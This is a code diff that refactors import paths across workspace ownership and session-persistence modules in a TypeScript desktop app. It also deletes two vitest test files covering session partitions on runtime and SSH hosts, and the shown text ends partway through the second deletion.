a/src/renderer/src/lib/workspace/ownership/repo-owner-index.ts b/src/renderer/src/lib/workspace/ownership/repo-owner-index.ts index 68c0b7ab141..02ed21e1e76 100644 --- a/src/renderer/src/lib/workspace/ownership/repo-owner-index.ts +++ b/src/renderer/src/lib/workspace/ownership/repo-owner-index.ts @@ -1,5 +1,8 @@ import type { Repo } from '../../../../../shared/repository/repo-types' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { createRepoExecutionHostLookup, type ExecutionHostOwnerLookup diff --git a/src/renderer/src/lib/workspace/ownership/repo-runtime-owner.ts b/src/renderer/src/lib/workspace/ownership/repo-runtime-owner.ts index a79221b1107..e1add58e89e 100644 --- a/src/renderer/src/lib/workspace/ownership/repo-runtime-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/repo-runtime-owner.ts @@ -3,8 +3,8 @@ import { getSettingsFocusedExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +} from '../../../../../shared/execution-host/execution-host' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../shared/repository/repo-types' import { ipcOrRuntimeTargetForHostId } from '@/runtime/rpc/targets/runtime-client-target' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/lib/workspace/ownership/repository-owner-index.ts b/src/renderer/src/lib/workspace/ownership/repository-owner-index.ts index 325c699f7a5..54192f16a1d 100644 --- a/src/renderer/src/lib/workspace/ownership/repository-owner-index.ts +++ b/src/renderer/src/lib/workspace/ownership/repository-owner-index.ts @@ -4,7 +4,7 @@ import { getRepoSshConnectionId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' type RepoOwnerRecord = Pick diff --git a/src/renderer/src/lib/workspace/ownership/resolve-owner.ts b/src/renderer/src/lib/workspace/ownership/resolve-owner.ts index 8863202d3a2..d62f0f9a50a 100644 --- a/src/renderer/src/lib/workspace/ownership/resolve-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/resolve-owner.ts @@ -15,7 +15,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import { findIndexedWorktreeOwnerForHost, diff --git a/src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts b/src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts index 5f807a71187..0e865496a64 100644 --- a/src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts +++ b/src/renderer/src/lib/workspace/ownership/resolved-worktree-execution-host.ts @@ -3,8 +3,8 @@ import { parseExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +} from '../../../../../shared/execution-host/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { folderWorkspaceKey, parseWorkspaceKey diff --git a/src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts b/src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts index f44c675d63d..949763934b6 100644 --- a/src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts +++ b/src/renderer/src/lib/workspace/ownership/runtime-owner-alias-matrix.test-fixture.ts @@ -1,5 +1,5 @@ /** Owner-resolution cases spanning every branch: local, direct SSH, runtime, HUB-proxied SSH, twins. */ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import type { WorktreeRuntimeOwnerState } from './worktree-runtime-owner-state' export type OwnerResolutionCase = { diff --git a/src/renderer/src/lib/workspace/ownership/runtime-session-mirror-owners.ts b/src/renderer/src/lib/workspace/ownership/runtime-session-mirror-owners.ts index 6f95d799e7b..c1d67daea5d 100644 --- a/src/renderer/src/lib/workspace/ownership/runtime-session-mirror-owners.ts +++ b/src/renderer/src/lib/workspace/ownership/runtime-session-mirror-owners.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { WorktreeRuntimeOwnerState } from './worktree-runtime-owner-state' function addRuntimeExecutionHost(ids: Set, hostId: string | null | undefined): void { diff --git a/src/renderer/src/lib/workspace/ownership/terminal-close-route.ts b/src/renderer/src/lib/workspace/ownership/terminal-close-route.ts index cf63a788b74..918b3fe2c1a 100644 --- a/src/renderer/src/lib/workspace/ownership/terminal-close-route.ts +++ b/src/renderer/src/lib/workspace/ownership/terminal-close-route.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../../../shared/terminal/pty/lifecycle/terminal-execution-host' import type { AppState } from '@/store/types' import { collectPtyIdsForTab } from '@/store/terminals/retirement/terminal-tab-retirement' diff --git a/src/renderer/src/lib/workspace/ownership/terminal-worktree-route.ts b/src/renderer/src/lib/workspace/ownership/terminal-worktree-route.ts index 412463a844a..84147c74d96 100644 --- a/src/renderer/src/lib/workspace/ownership/terminal-worktree-route.ts +++ b/src/renderer/src/lib/workspace/ownership/terminal-worktree-route.ts @@ -1,6 +1,6 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { isEphemeralSetupTerminalWorktreeId } from '../../../../../shared/workspace-setup/ephemeral-setup-terminal-worktree-id' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { AppState } from '@/store/types' import { resolveOwnerOrLocal } from './worktree-runtime-owner' diff --git a/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts b/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts index 26d94dcf8dd..a822800259e 100644 --- a/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts +++ b/src/renderer/src/lib/workspace/ownership/unified-tab-host-ownership.ts @@ -6,7 +6,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isExecutionHostAliasForWorktree } from './worktree-execution-host-alias' import { folderWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { AppState } from '@/store/types' diff --git a/src/renderer/src/lib/workspace/ownership/workspace-catalog-owner-index.ts b/src/renderer/src/lib/workspace/ownership/workspace-catalog-owner-index.ts index e17f56eeea9..d055882d9dd 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-catalog-owner-index.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-catalog-owner-index.ts @@ -5,7 +5,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' export function buildCatalogOwnerIndex< T extends { id: string; connectionId?: string | null; executionHostId?: string | null } diff --git a/src/renderer/src/lib/workspace/ownership/workspace-copy-owner.ts b/src/renderer/src/lib/workspace/ownership/workspace-copy-owner.ts index 4ed8840e01f..d07873dfef8 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-copy-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-copy-owner.ts @@ -8,7 +8,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { authorityKey, hostAuthorityFromOperationRoute, diff --git a/src/renderer/src/lib/workspace/ownership/workspace-row-owner-host.ts b/src/renderer/src/lib/workspace/ownership/workspace-row-owner-host.ts index 26e3dc401f9..5f6305ddfde 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-row-owner-host.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-row-owner-host.ts @@ -1,4 +1,7 @@ -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import '../../../../../shared/folder-workspaces/folder-workspace-execution-host' diff --git a/src/renderer/src/lib/workspace/ownership/workspace-runtime-environment.ts b/src/renderer/src/lib/workspace/ownership/workspace-runtime-environment.ts index c6ad2070a2d..a37c1d758e6 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-runtime-environment.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-runtime-environment.ts @@ -1,6 +1,6 @@ import { useAppStore } from '../../../store/index' import type { AppState } from '../../../store/types' -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { workspaceOwnerHostId } from './workspace-row-owner-host' export function selectWorkspaceRuntimeEnvironmentId( diff --git a/src/renderer/src/lib/workspace/ownership/workspace-runtime-host-ownership.ts b/src/renderer/src/lib/workspace/ownership/workspace-runtime-host-ownership.ts index 478afecdc8c..80cf6c3c5bb 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-runtime-host-ownership.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-runtime-host-ownership.ts @@ -3,7 +3,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' export type WorkspaceRuntimeOwnerProjection = Pick< Worktree, diff --git a/src/renderer/src/lib/workspace/ownership/workspace-terminal-host-authority.ts b/src/renderer/src/lib/workspace/ownership/workspace-terminal-host-authority.ts index 3a8104312d5..8e9c9688369 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-terminal-host-authority.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-terminal-host-authority.ts @@ -1,5 +1,8 @@ -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import type { HostLiveTerminalProbeVerdict } from '@/runtime/hosted-terminals/inventory/host-live-terminal-probe' import type { SshConnectionState } from '../../../../../shared/remote-runtime/ssh/ssh-types' diff --git a/src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts b/src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts index a3bcc1ffbd2..f5a4381c506 100644 --- a/src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts +++ b/src/renderer/src/lib/workspace/ownership/workspace-twin-rows.test-fixture.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' type TwinRepoRow = { id: string; connectionId?: string; executionHostId: ExecutionHostId } type TwinWorktreeRow = { id: string; repoId: string; hostId: ExecutionHostId } diff --git a/src/renderer/src/lib/workspace/ownership/worktree-execution-host-alias.ts b/src/renderer/src/lib/workspace/ownership/worktree-execution-host-alias.ts index 11f1711b84e..65c7e544896 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-execution-host-alias.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-execution-host-alias.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' export function isExecutionHostAliasForWorktree( executionHostId: ExecutionHostId, diff --git a/src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts b/src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts index 2cb77671bd5..ee6ee6517e8 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-git-copy.ts @@ -4,7 +4,7 @@ import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/h import { parseRoutableExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getKnownExecutionHostIdForWorktree } from './worktree-runtime-owner' import { getActiveWorkspaceExecutionHostId } from './active-workspace-host' import { selectWorkspaceByHostTarget } from '@/store/workspaces/selection/workspace-host-target' diff --git a/src/renderer/src/lib/workspace/ownership/worktree-host-connection-phase.ts b/src/renderer/src/lib/workspace/ownership/worktree-host-connection-phase.ts index 9795a4aaf76..8226d272a94 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-host-connection-phase.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-host-connection-phase.ts @@ -11,7 +11,7 @@ import { } from '@/store/slices/ssh/runtime-environment-ssh-selectors' import { isConnectingSshStatus } from '@/ssh/ssh-connection-recoverability' import type { SshConnectionStatus } from '../../../../../shared/remote-runtime/ssh/ssh-types' -import { isRuntimeOwnedSshTargetId } from '../../../../../shared/execution-host' +import { isRuntimeOwnedSshTargetId } from '../../../../../shared/execution-host/execution-host' import { getOrcadSshDeployment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { isConnectedRuntimeHostState } from '../../../../../shared/remote-runtime/host-status/runtime-host-connection-state' import { runtimeHostConnectionStateForEntry } from '@/runtime/hosts/connections/runtime-host-connection-state' diff --git a/src/renderer/src/lib/workspace/ownership/worktree-operation-catalog-route.ts b/src/renderer/src/lib/workspace/ownership/worktree-operation-catalog-route.ts index 88d6d790437..9ff962ccd35 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-operation-catalog-route.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-operation-catalog-route.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { selectWorktreesByRepo, selectDetectedWorktreesByRepo diff --git a/src/renderer/src/lib/workspace/ownership/worktree-operation-generation.ts b/src/renderer/src/lib/workspace/ownership/worktree-operation-generation.ts index c493db873ac..3604e39be3f 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-operation-generation.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-operation-generation.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { authorityKey, type HostAuthority diff --git a/src/renderer/src/lib/workspace/ownership/worktree-operation-route.ts b/src/renderer/src/lib/workspace/ownership/worktree-operation-route.ts index 3ad37f96bf5..67f40c543ec 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-operation-route.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-operation-route.ts @@ -3,9 +3,9 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/constants' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../../../shared/workspace/identity/floating-workspace-id' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import { resolveExactWorktreeRoute } from './worktree-owner-route' import { diff --git a/src/renderer/src/lib/workspace/ownership/worktree-owner-route.ts b/src/renderer/src/lib/workspace/ownership/worktree-owner-route.ts index 68f3d440e92..66366c984fc 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-owner-route.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-owner-route.ts @@ -1,6 +1,6 @@ -import { parseExecutionHostId } from '../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { resolveIndexedSshRepositoryHost } from './repository-owner-index' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorktreeOperationOwnerRecord, WorktreeOperationRoute, diff --git a/src/renderer/src/lib/workspace/ownership/worktree-row-open-in-owner.ts b/src/renderer/src/lib/workspace/ownership/worktree-row-open-in-owner.ts index 526eae91aae..525e11be8ea 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-row-open-in-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-row-open-in-owner.ts @@ -1,4 +1,7 @@ -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { Worktree } from '../../../../../shared/worktree/types' import { resolveOwnerOrLocal } from './worktree-runtime-owner' import type { WorktreeRuntimeOwnerState } from './worktree-runtime-owner-state' diff --git a/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-index.ts b/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-index.ts index eedd01fb8e5..e8c1715530b 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-index.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-index.ts @@ -8,7 +8,10 @@ import './repo-owner-index' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' import type { ProjectGroup } from '../../../../../shared/project/groups/project-group-types' import type { Worktree } from '../../../../../shared/worktree/types' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' type WorktreeOwnerRecord = Pick type DetectedWorktreeListing = { worktrees: readonly WorktreeOwnerRecord[] } diff --git a/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-state.ts b/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-state.ts index 8219dc26359..210a00bb1fc 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-state.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner-state.ts @@ -1,6 +1,6 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../../shared/folder-workspaces/folder-workspace-types' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { ProjectGroup } from '../../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../../shared/repository/repo-types' import type { Worktree } from '../../../../../shared/worktree/types' diff --git a/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner.ts b/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner.ts index 9e4139808a8..d68b2db8f5a 100644 --- a/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner.ts +++ b/src/renderer/src/lib/workspace/ownership/worktree-runtime-owner.ts @@ -3,8 +3,8 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, UNRESOLVED_OWNER_HOST_ID -} from '../../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { parseWorkspaceKey } from '../../../../../shared/workspace/identity/workspace-scope' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' diff --git a/src/renderer/src/lib/workspace/paths/workspace-directory.ts b/src/renderer/src/lib/workspace/paths/workspace-directory.ts index 71cd30eeb05..0ffc23fedec 100644 --- a/src/renderer/src/lib/workspace/paths/workspace-directory.ts +++ b/src/renderer/src/lib/workspace/paths/workspace-directory.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { AppState } from '@/store/types' import { findKnownWorktreeById } from '@/store/slices/worktrees/listing/detected-worktree-meta' import { diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.ts index b03b183cc28..d3fa78c1ca0 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-host-contention.ts @@ -3,7 +3,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { normalizeWorkspaceSessionKeyToWorkspaceId as normalizeWorkspaceSessionKeyToWorktreeId } from '../../../../../shared/workspace/identity/workspace-scope' import { WORKSPACE_SESSION_FIELD_OWNERSHIP } from '../../../../../shared/workspace-session/workspace-session-host-field-ownership' import { pickPrimaryHostForClaims } from '../../../../../shared/workspace-session/workspace-session-contested-primary-host' diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-emptied-fields.test.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-emptied-fields.test.ts deleted file mode 100644 index d5ac39cd1cc..00000000000 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-emptied-fields.test.ts +++ /dev/null @@ -1,67 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import { - toRuntimeExecutionHostId, - type ExecutionHostId -} from '../../../../../shared/execution-host' -import type { WorkspaceSessionPatch } from '../../../../../shared/workspace-session/workspace-session-state-types' -import { - patchWorkspaceSessionByHost, - type HostPersistenceState -} from './workspace-session-host-persistence' - -const RUNTIME = toRuntimeExecutionHostId('env-1') -const WT = 'repo-remote::/srv/project' - -// #23914: main merges a patch fieldwise, so a runtime partition the patch omits keeps a closed tab. -async function patchAfterLastBrowserTabCloses( - state: Partial -): Promise>> { - const partitions: Record> = { - local: { browserTabsByWorktree: {}, browserPagesByWorkspace: {} }, - [RUNTIME]: { - browserTabsByWorktree: { [WT]: [{ id: 'bw-1', worktreeId: WT }] }, - browserPagesByWorkspace: { 'bw-1': [{ id: 'p-1', workspaceId: 'bw-1' }] } - } - } - await patchWorkspaceSessionByHost( - { - get: async () => getDefaultWorkspaceSession(), - patch: async (patch: WorkspaceSessionPatch, hostId?: ExecutionHostId) => { - const key = hostId ?? 'local' - partitions[key] = { ...partitions[key], ...patch } - } - }, - { browserTabsByWorktree: {}, browserPagesByWorkspace: {} }, - { - repos: [{ id: 'repo-remote', connectionId: null, executionHostId: RUNTIME }], - worktreesByRepo: {}, - tabsByWorktree: {}, - ...state - } - ).written - return partitions -} - -describe('a patch that empties a field on a runtime host', () => { - it('clears the closed tab from a runtime partition this window loaded', async () => { - const partitions = await patchAfterLastBrowserTabCloses({ - hydratedRuntimeSessionHostIds: [RUNTIME] - }) - expect(partitions[RUNTIME]?.browserTabsByWorktree).toEqual({}) - expect(partitions[RUNTIME]?.browserPagesByWorkspace).toEqual({}) - }) - - it('leaves a runtime partition this window never loaded, or holds parked rows for', async () => { - const unread = await patchAfterLastBrowserTabCloses({}) - expect(unread[RUNTIME]?.browserTabsByWorktree).toEqual({ [WT]: [expect.anything()] }) - - const parked = await patchAfterLastBrowserTabCloses({ - hydratedRuntimeSessionHostIds: [RUNTIME], - contestedHostWorkspaceSessions: { [RUNTIME]: getDefaultWorkspaceSession() } - }) - expect(parked[RUNTIME]?.browserPagesByWorkspace).toEqual({ - 'bw-1': [expect.anything()] - }) - }) -}) diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-hydration.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-hydration.ts index da746531f65..ad241103ef7 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-hydration.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-host-hydration.ts @@ -5,7 +5,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { normalizeWorkspaceSessionKeyToWorkspaceId, normalizeWorkspaceSessionKeyToWorkspaceId as normalizeWorkspaceSessionKeyToWorktreeId diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.ts index 1f1341ac77b..5c88117d1b3 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-host-persistence.ts @@ -8,7 +8,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { workspaceSessionPartitionHostId } from '../../../../../shared/workspace-session/workspace-session-partition-owner' import { parseWorkspaceKey, diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-host-split.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-host-split.ts index cc7d52ad93d..c0392da13fc 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-host-split.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-host-split.ts @@ -3,7 +3,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isWorktreeHostIdentity } from '../../../../../shared/worktree/host-qualified-identity' import { GLOBAL_WORKSPACE_SESSION_FIELDS, diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-hydration-keys.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-hydration-keys.ts index 54e1a6def9f..4bbace4b1c1 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-hydration-keys.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-hydration-keys.ts @@ -1,6 +1,9 @@ import { readStructuredAgentLaunchRecords } from '../../agent-session/launch/structured-agent-session-launch-persistence' -import { type ExecutionHostId, parseExecutionHostId } from '../../../../../shared/execution-host' +import { + type ExecutionHostId, + parseExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-reconnect-targets.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-reconnect-targets.ts index 44bddd29cfc..d44dc596f6c 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-reconnect-targets.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-reconnect-targets.ts @@ -1,6 +1,6 @@ import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { parseAppSshPtyId } from '../../../../../shared/remote-runtime/ssh/ssh-pty-id' -import { isOwnedSshTargetId } from '../../../../../shared/execution-host' +import { isOwnedSshTargetId } from '../../../../../shared/execution-host/execution-host' import type { WorkspaceSessionSnapshot } from './workspace-session' export function buildActiveConnectionIdsAtShutdown( diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-attribution.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-attribution.ts index 5bec7306fed..6a93af5358c 100644 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-attribution.ts +++ b/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-attribution.ts @@ -1,6 +1,6 @@ import type { Repo } from '../../../../../shared/repository/repo-types' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getRepoIdFromWorktreeId } from '../../../../../shared/worktree/id' import { createRepoRowExecutionHostLookup, diff --git a/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-ownership.test.ts b/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-ownership.test.ts deleted file mode 100644 index 2ac106bf4d4..00000000000 --- a/src/renderer/src/lib/workspace/persistence/workspace-session-ssh-partition-ownership.test.ts +++ /dev/null @@ -1,94 +0,0 @@ -/** Cover SSH persistence beyond repo-backed repair: folder rows split between renderer local/main SSH, stored partitions absent from repos, and same bare IDs across rival hosts requiring gap-fill-only adoption (#12723). */ -import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../../shared/constants' -import { - normalizeExecutionHostId, - type ExecutionHostId -} from '../../../../../shared/execution-host' -import type { TerminalTab } from '../../../../../shared/workspace-layout/terminal-tab-types' -import type { - WorkspaceSessionPatch, - WorkspaceSessionState -} from '../../../../../shared/workspace-session/workspace-session-state-types' -import { fetchWorkspaceSessionWithRuntimeHostOwners } from './workspace-session-host-hydration' -import { patchWorkspaceSessionByHost } from './workspace-session-host-persistence' - -const TARGET_ID = 'target-1' -const SSH_HOST_ID: ExecutionHostId = `ssh:${TARGET_ID}` -const OTHER_TARGET_ID = 'target-2' -const OTHER_SSH_HOST_ID: ExecutionHostId = `ssh:${OTHER_TARGET_ID}` - -function session(overrides: Partial): WorkspaceSessionState { - return { ...getDefaultWorkspaceSession(), ...overrides } -} - -function tab(id: string, worktreeId: string): 